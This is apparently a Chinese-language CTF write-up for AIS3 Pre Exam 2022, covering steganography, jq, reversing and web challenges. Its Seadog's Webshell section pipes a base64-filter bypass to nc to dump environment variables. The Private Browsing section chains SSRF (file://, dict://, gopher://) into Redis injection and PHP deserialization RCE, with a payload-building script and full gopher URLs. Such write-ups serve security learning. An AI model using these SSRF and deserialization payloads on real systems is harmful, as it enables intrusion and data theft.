AIS3 Pre Exam 2022 Writeup

Chumy | May 17, 2022 min read

Score Board

Welcome

Welcome

題目

image

image

Flag

AIS3{WTF did I just see the FLAG before CTF starts?}

Misc

Excel

題目

image

解題

image

image

image

image

Flag

AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

Gift in the dream

題目

image

解題

binwalk gift_in_the_dream.gif 一下發現啥都沒有。 image

strings gift_in_the_dream.gif 一下看到一堆重複出現的奇怪字串,應該是提示。 image

通靈一下發現應該要用 identify 把每個幀數間的間距時間抓出來應該就是 flag 了。 image

Script

#!/bin/bash

for a in $(identify -format "%s %T \n" gift_in_the_dream.gif | awk '{print $2}')
do
    printf "%02X" $a | xxd -r -p
done

image

Flag

AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}

Knock

題目

image

解題

原本以為是 Web 題,後來想想又好像不對,request 抓出來改用 curl 跑。 curl -X POST http://chals1.ais3.org:13337/ -d 'token=<token>' 回傳的東西都是 <p>I have knock on the <ip></p> 於是馬上開 wireshark image

果然,而且 dest port 明顯很像 ascii,應該接起來就 flag 了。

Script

iptables
iptables -I INPUT 1 -i ais3pre2022 -p udp -s 10.113.203.111 -j LOG --log-prefix "FORAIS3"
rsyslog
if $msg contains "FORAIS3" then {
    ^<script path>
    stop
}
shell script
#!/bin/bash

splitinspace()
{
    for a in $(cat $1)
    do
        echo $a
    done
}

port=`echo $1 | splitinspace | grep DPT | cut -c 5- | sed 's/12//g'`

echo "$(cat /tmp/output)$(printf "%02X\n" $(python3 -c "print(int('$port'))") | xxd -r -p)" > /tmp/output
執行結果
root@jimmyGW:~# curl -X POST http://chals1.ais3.org:13337/ -d 'token=<token>'
<p>I have knock on the <ip></p>
root@jimmyGW:~# vi /tmp/output

image

Flag

AIS3{kn0ckKNOCKknock}

JeetQode

題目

image

解題

這題就 judge 而已,只是要用 jq,老實說 jq 我一直都有再用,但用這麼深還是第一次。 到 JQ 的 document 找可以用的指令然後實現題目要求這樣而已(code 有點長因為沒規定長度所以沒特別壓)。

Code

  1. . == (explode | reverse | implode)
  2. walk(if type == "object" then (setpath(["tmp"]; .left) | setpath(["left"]; .right) | setpath(["right"]; .tmp) | delpaths([["tmp"]])) else . end)
  3. .body | walk(if type == "object" and (has("value") | not) then (if ([.op] | contains(["Add"])) then setpath(["value"]; (.left.value + .right.value)) else (if ([.op] | contains(["Sub"])) then setpath(["value"]; (.left.value - .right.value)) else (if ([.op] | contains(["Mult"])) then setpath(["value"]; (.left.value * .right.value)) else (if ([.op] | contains(["Div"])) then setpath(["value"]; (.left.value / .right.value)) else . end) end) end) end) else . end) | .value

image

Flag

AIS3{pr0gramm1ng_in_a_json_proce55in9_too1}

Seadog’s Webshell

題目

image

image

Important Source Code

#!/bin/sh

exec 2>/dev/null
base64 | timeout 10s sh

解題

送進去的 code 必須同時符合 base64 的格式將其解碼送進去,因此 script 就用 echo "//bin/ls" | base64 -d 然後再 pipe 進 nc,並且用絕對路徑,這樣就可以用 / 填空位。 然而卻發現怎麼試都沒反應,因此用自己機器試了一下,發現 nc 沒送 eof,所以加了個 -q 1

echo "//bin/ls" | base64 -d | nc -q 1 chals1.ais3.org 12369

image

成功

最後因為 flag 在 environment (根據 docker-ccompose.yml) 所以執行

echo "/usr/bin/env" | base64 -d | nc -q 1 chals1.ais3.org 12369

image

Flag

AIS3{ZXNjYXBpbmdfYmFzZTY0X3dpdGhfZW9m}

Reverse

Calculator

題目

image

解題

dnspy 看 Extension.AIS3 到 AIS3333 這幾個 dll 然後按照 Operate method 內的規則將 Flag 一個字一個自填完。

image

image

image

image

Flag

AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}

Strings

題目

image

解題

既然叫 strings 那就先 strings 一次

image

噴出來的 flag 是假的,但也是提示

把阿姨開起來打開 String view 搜假 flag 點兩下到 IDA View 接著 .data.rel.ro:000055CBACEDDDB0 點兩下跳過去,然後再網上一點可以看到 off_55CBACEDDDA0(應該是變數名稱ㄅ) 點兩下 strings::main::h34e687dfba9cc523 就能直達主程式的地方

image

image

image

image

F5 反編譯然後開始跑 Debug

image

可以看到有一個 core::str::_$LT$impl$u20$str$GT$::split 這應該是 Rust 寫的,可以看到有一個 "_" 參數,應該是用 "_" 去拆分字串

image

而後來在走到這邊時得到確認 if ( alloc::vec::Vec$LT$T$C$A$GT$::len::hd32fa3309483c80e(v41) == 11 ) 代表 split 後的字串要有 11 個

image

if ( (core::cmp::impls::_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$::ne::h0948eadbdbca5c0e( v25, &(&off_55CBACEDDDA0)[2 * v21]) & 1) != 0 ) 這邊的話應該是 v25 != &(&off_55CBACEDDDA0)[2 * v21] 的話就算 incorrect flagv21 則是從上面一個 dest array 來的

image

dest array 的內容是 [0x0, 0x4, 0x10, 0xD, 0xA, 0x4, 0x8, 0x7, 0x1, 0x2, 0x12] 換 10 進的話是 [0, 4, 16, 13, 10, 4, 8, 7, 1, 2, 18]

image

再找切分依據找了一陣子,最後有注意到 if ( v21 >= 0x13 ) 符合的話會跑一個程式而且 Array 最後也是 18 而且剛好只有 11 個,我猜應該是最多只有 18 組。

image

回到 off_55CBACEDDDA0 的 IDA View 時,又注意到它這邊有分 18 行,每行剛好就前進一個單字,除了第一個 “AIS3{” 跟最後一個 “}”

image

於是我認為它的切分應該是長這樣 AIS3{_good_luck_finding_the_flags_value_using_strings_command_guess_which_substring_is_our_actual_answer_lmaoo_}

接著就簡單了,按照 dest 一個一個接回來送 ./strings 也回 correct flag 這樣就解掉了

image

Flag

AIS3{_the_answer_is_guess_the_strings_using_good_luck_}

Web

Poking Bear

題目

image

解題

網頁內容是你可以選一隻 bear poke,但你要 poke 到 SECRET BEAR 才能拿到 Flag,但是 SECRET BEAR 的 bear id 他是隱藏的,然而第一隻到最後一隻的 id 是 5-999 那就用最原始的方式爆掃一波。

image

image

image

#!/bin/bash

> /tmp/output

for a in $(seq 1 1 1000)
do
    echo "$a: $(curl -X POST http://chals1.ais3.org:8987/poke -d "bear_id=$a")" >> /tmp/output &
done

image

找與眾不同的那個

grep -v "You shouldn't poke a cat!" /tmp/output | grep -v "Poked, but nothing happened!"

image

他說你不是 bear poker 八成要改 cookie。

curl -X POST http://chals1.ais3.org:8987/poke --header "cookie: human=\"bear poker\"" -d "bear_id=499"

image

Flag

AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

Private Browsing

題目

image

解題

看起來是很經典的 ssrf 雖說前端鎖定 http[s] 但後端沒鎖,所以直接用 /api.php 做 ssrf。

image

http://chals1.ais3.org:8763/api.php?action=view&url=file:///proc/net/tcp 看有那些機器可以打。

image

可以看到 server 頻繁的對 192.168.224.2:6379 做存取

image

google 查到 tcp 6379 port 是 redis

http://chals1.ais3.org:8763/api.php?action=view&url=dict://192.168.224.2:6379/info 證實了是 redis。

image

但資訊依然不夠,因此抓 source code http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/api.php

image

有一個 require_once 'session.php' 把他抓下來 http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/session.php

image

經過長時間的閱讀後可以發現他會將 cookie sess_id 作為 key,現在所用的 BrowsingSession class serialize 後儲存到 redis 格式是長這樣 O:15:"BrowsingSession":1:{s:7:"history";a:1:{i:0;s:19:"https://google.com/";}} 這就是他做 history 的方式。

image

image

這樣的話就可以用這隻 script 建立 payload (dict 的話冒號會不見)

from urllib.parse import quote
import sys

tcp_payload = sys.argv[2]
ip = sys.argv[1]
url = f"gopher://{ip}:6379/_{quote(tcp_payload)}"
print(url)

但是 BrowsingSession 並沒有可以利用這點做 RCE 的地方,因為他只有一個 history 的 variable 並作為 array 做存取。

發現 SessionManagerencodedecode 是 variable function 執行位置是在 get()__destruct()(解構子)

原本是著利用 get() 做 RCE 因為外層的 SessionManager 再跑 $session->push 會用 __call() return 的 class 去執行 pushget() 的內容是 val 有東西就直接 return,redis 內有東西就直接 decode redis 的 value,都沒就建一個,而存在 redis 的東西被使用 gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3BN%3Bs%3A6%3A%5C%22decode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22 改成 O:14:"SessionManager":3:{s:3:"val";N;s:6:"decode";s:6:"system";s:6:"sessid";s:4:"code";} 所以他會跑內部的 SessionManager__call() 然後 call get() 因為 val 是 null 所以會找 redis,因 redis 的 value 有用 dict://192.168.224.2:6379/SET%20code%20%22ls%22codels 的 command 且 decode 被改成 system 所以會 RCE。

image

image

然而忽略了一點是 get() 內的 redis 是 $this 下面的而非 global 而 connect 後的 redis 無法用 unserialize 製造,所以用 get() RCE 會是失敗的。

image

後來想到如果成是 error 內部的 SessionManager 也會做 __destruct() 因此用 gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3Bs%3A2%3A%5C%22ls%5C%22%3Bs%3A6%3A%5C%22encode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22 將其設為 O:14:"SessionManager":3:{s:3:"val";s:2:"ls";s:6:"encode";s:6:"system";s:6:"sessid";s:4:"code";}

image

然後將 cookie 切為 fc57bda95a5184e55555 然後隨便看一個 url 可以發現成功 RCE。

image

gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3Bs%3A9%3A%5C%22/readflag%5C%22%3Bs%3A6%3A%5C%22encode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22 將其設為 O:14:"SessionManager":3:{s:3:"val";s:9:"/readflag";s:6:"encode";s:6:"system";s:6:"sessid";s:4:"code";}

image

然後將 cookie 切為 fc57bda95a5184e55555 便可以看到 flag。

image

Flag

AIS3{deadly_ssrf_to_rce}